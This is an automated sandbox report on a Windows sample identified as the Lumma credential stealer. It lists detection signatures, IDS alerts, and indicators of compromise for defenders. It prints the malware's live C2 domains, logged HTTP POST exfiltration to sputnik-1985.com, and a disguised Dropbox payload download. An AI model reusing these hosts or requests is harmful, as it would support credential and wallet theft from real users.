Edit tour

Windows Analysis Report
SDIO_R773.exe

Overview

General Information

Sample name:	SDIO_R773.exe
Analysis ID:	1589146
MD5:	c45a36ec4b4f8d8412c60db459c2b9d2
SHA1:	5c67453947128df910b46d5356f2ac5a8bae0cc9
SHA256:	24a26ac9cd209bf84831dae7d778fceb46b1e30b48454c130a6e62accdc1369e
Tags:	exeuser-SquiblydooBlog
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates HTML files with .exe extension (expired dropper behavior)

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Detected potential crypto function

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SDIO_R773.exe (PID: 7528 cmdline: "C:\Users\user\Desktop\SDIO_R773.exe" MD5: C45A36EC4B4F8D8412C60DB459C2B9D2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["truculengisau.biz", "nuttyshopr.biz", "spookycappy.biz", "fraggielek.biz", "punishzement.biz", "marketlumpe.biz", "littlenotii.biz", "grandiouseziu.biz"], "Build id": "BbL7Kk--02"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1985877415.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x50e20:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x543b6:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: SDIO_R773.exe PID: 7528	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SDIO_R773.exe PID: 7528	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SDIO_R773.exe PID: 7528	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T11:56:11.578646+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.102.49.254	443	TCP
2025-01-11T11:56:12.691095+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.64.1	443	TCP
2025-01-11T11:56:13.296659+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.64.1	443	TCP
2025-01-11T11:56:14.845942+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	104.21.64.1	443	TCP
2025-01-11T11:56:27.599440+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.64.1	443	TCP
2025-01-11T11:56:28.731351+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	104.21.64.1	443	TCP
2025-01-11T11:56:30.316746+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	104.21.64.1	443	TCP
2025-01-11T11:56:31.630210+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	104.21.64.1	443	TCP
2025-01-11T11:56:34.056316+0100	2028371	3	Unknown Traffic	192.168.2.4	49747	104.21.64.1	443	TCP
2025-01-11T11:56:35.218542+0100	2028371	3	Unknown Traffic	192.168.2.4	49748	162.125.66.18	443	TCP
2025-01-11T11:56:36.746076+0100	2028371	3	Unknown Traffic	192.168.2.4	49749	162.125.66.15	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T11:56:12.815363+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49734	104.21.64.1	443	TCP
2025-01-11T11:56:13.795382+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49735	104.21.64.1	443	TCP
2025-01-11T11:56:34.507897+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49747	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T11:56:12.815363+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49734	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T11:56:13.795382+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49735	104.21.64.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T11:56:28.095111+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49743	104.21.64.1	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T11:56:31.687606+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49746	104.21.64.1	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T11:56:12.096510+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: nuttyshopr.biz	Avira URL Cloud: Label: malware
Source: spookycappy.biz	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/apiQ	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com:443/api	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/apiW	Avira URL Cloud: Label: malware
Source: fraggielek.biz	Avira URL Cloud: Label: malware
Source: littlenotii.biz	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/apii	Avira URL Cloud: Label: malware

Found malware configuration

Source: SDIO_R773.exe.7528.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["truculengisau.biz", "nuttyshopr.biz", "spookycappy.biz", "fraggielek.biz", "punishzement.biz", "marketlumpe.biz", "littlenotii.biz", "grandiouseziu.biz"], "Build id": "BbL7Kk--02"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 93.2% probability

Source: SDIO_R773.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: SDIO_R773.exe

Static PE information: certificate valid

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.66.18:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.66.15:443 -> 192.168.2.4:49749 version: TLS 1.2

Source: SDIO_R773.exe, 00000000.00000002.2063536939.0000000000739000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: NOTE: cannot open autorun.inf [error: %d]
Source: SDIO_R773.exe, 00000000.00000002.2063536939.0000000000739000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: DEVMGR_SHOW_NONPRESENT_DEVICES\autorun.inf[NOT_A_VIRUS]openNOTE: cannot open autorun.inf [error: %d]
Source: SDIO_R773.exe, 00000000.00000002.2063536939.0000000000739000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: SDIO_R773.exe, 00000000.00000002.2063536939.0000000000739000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: basic_string::_M_construct null not valid_LAN__WLAN-WiFi__WWAN-4G_indexes\SDIO/c del %ws\_*.bincmdautorun.inf.bat%s\%Sdriverstools\SDIOindexes\SDIO\_wgetcwd errorSrc: %d %S
Source: SDIO_R773.exe, 00000000.00000002.2063536939.0000000000739000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: -expertmode -checkupdates -nosnapshot -nologfile -showconsole -showdrpnames1 -showdrpnames2 sdio.cfg\autorun.inf[autorun]
Source: SDIO_R773.exe, 00000000.00000002.2063536939.0000000000739000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: -expertmode -checkupdates -nosnapshot -nologfile -showconsole -showdrpnames1 -showdrpnames2 sdio.cfg\autorun.inf[autorun]
Source: SDIO_R773.exe, 00000000.00000002.2063536939.0000000000739000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.infSDIO_auto.bat MB KBSelect Additional Path
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NOTE: cannot open autorun.inf [error: %d]
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: DEVMGR_SHOW_NONPRESENT_DEVICES\autorun.inf[NOT_A_VIRUS]openNOTE: cannot open autorun.inf [error: %d]
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: basic_string::_M_construct null not valid_LAN__WLAN-WiFi__WWAN-4G_indexes\SDIO/c del %ws\_*.bincmdautorun.inf.bat%s\%Sdriverstools\SDIOindexes\SDIO\_wgetcwd errorSrc: %d %S
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -expertmode -checkupdates -nosnapshot -nologfile -showconsole -showdrpnames1 -showdrpnames2 sdio.cfg\autorun.inf[autorun]
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -expertmode -checkupdates -nosnapshot -nologfile -showconsole -showdrpnames1 -showdrpnames2 sdio.cfg\autorun.inf[autorun]
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: autorun.infSDIO_auto.bat MB KBSelect Additional Path
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Include autorun.inf and SDIO_auto.bat
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: STR_VIRUS_AUTORUN = "There is an AUTORUN.INF file in the root folder"
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: STR_VIRUS_AUTORUN_H = "There is an AUTORUN.INF file which can be used by malicious software to infect your PC. It's advised to check it for viruses or inspect the file to make sure it can be trusted.\n\nIf you're sure it's clean, add [NOT_A_VIRUS] inside to hide this warning."
Source: SDIO_R773.exe, 00000000.00000003.1794927387.0000000003675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: STR_USBWIZ_PAGE4_INCAUTO = "Include autorun.inf and SDIO_auto.bat"
Source: SDIO_R773.exe, 00000000.00000002.2064219074.0000000000875000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: Include autorun.inf and SDIO_auto.bat
Source: SDIO_R773.exe, 00000000.00000002.2064219074.0000000000875000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: STR_VIRUS_AUTORUN = "There is an AUTORUN.INF file in the root folder"
Source: SDIO_R773.exe, 00000000.00000002.2064219074.0000000000875000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: STR_VIRUS_AUTORUN_H = "There is an AUTORUN.INF file which can be used by malicious software to infect your PC. It's advised to check it for viruses or inspect the file to make sure it can be trusted.\n\nIf you're sure it's clean, add [NOT_A_VIRUS] inside to hide this warning."
Source: SDIO_R773.exe, 00000000.00000002.2064219074.0000000000875000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: STR_USBWIZ_PAGE4_INCAUTO = "Include autorun.inf and SDIO_auto.bat"
Source: SDIO_R773.exe	Binary or memory string: NOTE: cannot open autorun.inf [error: %d]
Source: SDIO_R773.exe	Binary or memory string: DEVMGR_SHOW_NONPRESENT_DEVICES\autorun.inf[NOT_A_VIRUS]openNOTE: cannot open autorun.inf [error: %d]
Source: SDIO_R773.exe	Binary or memory string: autorun.inf
Source: SDIO_R773.exe	Binary or memory string: basic_string::_M_construct null not valid_LAN__WLAN-WiFi__WWAN-4G_indexes\SDIO/c del %ws\_*.bincmdautorun.inf.bat%s\%Sdriverstools\SDIOindexes\SDIO\_wgetcwd errorSrc: %d %S
Source: SDIO_R773.exe	Binary or memory string: -expertmode -checkupdates -nosnapshot -nologfile -showconsole -showdrpnames1 -showdrpnames2 sdio.cfg\autorun.inf[autorun]
Source: SDIO_R773.exe	Binary or memory string: -expertmode -checkupdates -nosnapshot -nologfile -showconsole -showdrpnames1 -showdrpnames2 sdio.cfg\autorun.inf[autorun]
Source: SDIO_R773.exe	Binary or memory string: autorun.infSDIO_auto.bat MB KBSelect Additional Path
Source: SDIO_R773.exe	Binary or memory string: Include autorun.inf and SDIO_auto.bat
Source: SDIO_R773.exe	Binary or memory string: STR_VIRUS_AUTORUN = "There is an AUTORUN.INF file in the root folder"
Source: SDIO_R773.exe	Binary or memory string: STR_VIRUS_AUTORUN_H = "There is an AUTORUN.INF file which can be used by malicious software to infect your PC. It's advised to check it for viruses or inspect the file to make sure it can be trusted.\n\nIf you're sure it's clean, add [NOT_A_VIRUS] inside to hide this warning."
Source: SDIO_R773.exe	Binary or memory string: STR_USBWIZ_PAGE4_INCAUTO = "Include autorun.inf and SDIO_auto.bat"

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49733 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49747 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49734 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49735 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49735 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49743 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49734 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49746 -> 104.21.64.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: truculengisau.biz
Source: Malware configuration extractor	URLs: nuttyshopr.biz
Source: Malware configuration extractor	URLs: spookycappy.biz
Source: Malware configuration extractor	URLs: fraggielek.biz
Source: Malware configuration extractor	URLs: punishzement.biz
Source: Malware configuration extractor	URLs: marketlumpe.biz
Source: Malware configuration extractor	URLs: littlenotii.biz
Source: Malware configuration extractor	URLs: grandiouseziu.biz

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\SDIO_R773.exe

File created: NOUBJXTSUL2YOW34.exe.0.dr

Source: Joe Sandbox View	IP Address: 162.125.66.18 162.125.66.18
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49749 -> 162.125.66.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49747 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49748 -> 162.125.66.18:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 44Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K8TVJ8YTUGNJCookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18124Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TWFBAMJXUCookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8727Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IL6BMMWY71KX89XERCookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20428Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5NLKGQ3BJ2AK5Cookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1234Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=53G1TXEPG3U24Cookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 589917Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 79Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: GET /scl/fi/tzw461qf44namwoprtqi1/channels424_banner.jpg?rlkey=ggwr95slh92f24jnfjirjyzys&st=8tyyz5o7&dl=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/Ch9Eke8i0BLC3-DtINknVGtnjncus_u99HdagMMMzqS1C8VzqEY5PQ_JhjusgWHY1s4INYrDYXnP6n3C2obINdgOZAzOWbQcf4GGcylpLcMkiO54nwiWjM6mWgFeR2Srg4dg3ZC_YHliUlRXW1veRWN7/file?dl=1# HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /scl/fi/tzw461qf44namwoprtqi1/channels424_banner.jpg?rlkey=ggwr95slh92f24jnfjirjyzys&st=8tyyz5o7&dl=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/Ch9Eke8i0BLC3-DtINknVGtnjncus_u99HdagMMMzqS1C8VzqEY5PQ_JhjusgWHY1s4INYrDYXnP6n3C2obINdgOZAzOWbQcf4GGcylpLcMkiO54nwiWjM6mWgFeR2Srg4dg3ZC_YHliUlRXW1veRWN7/file?dl=1# HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com

Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Qdbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; media-src https://* blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; font-src https://* data: ; img-src https://* data: blob: ; default-src 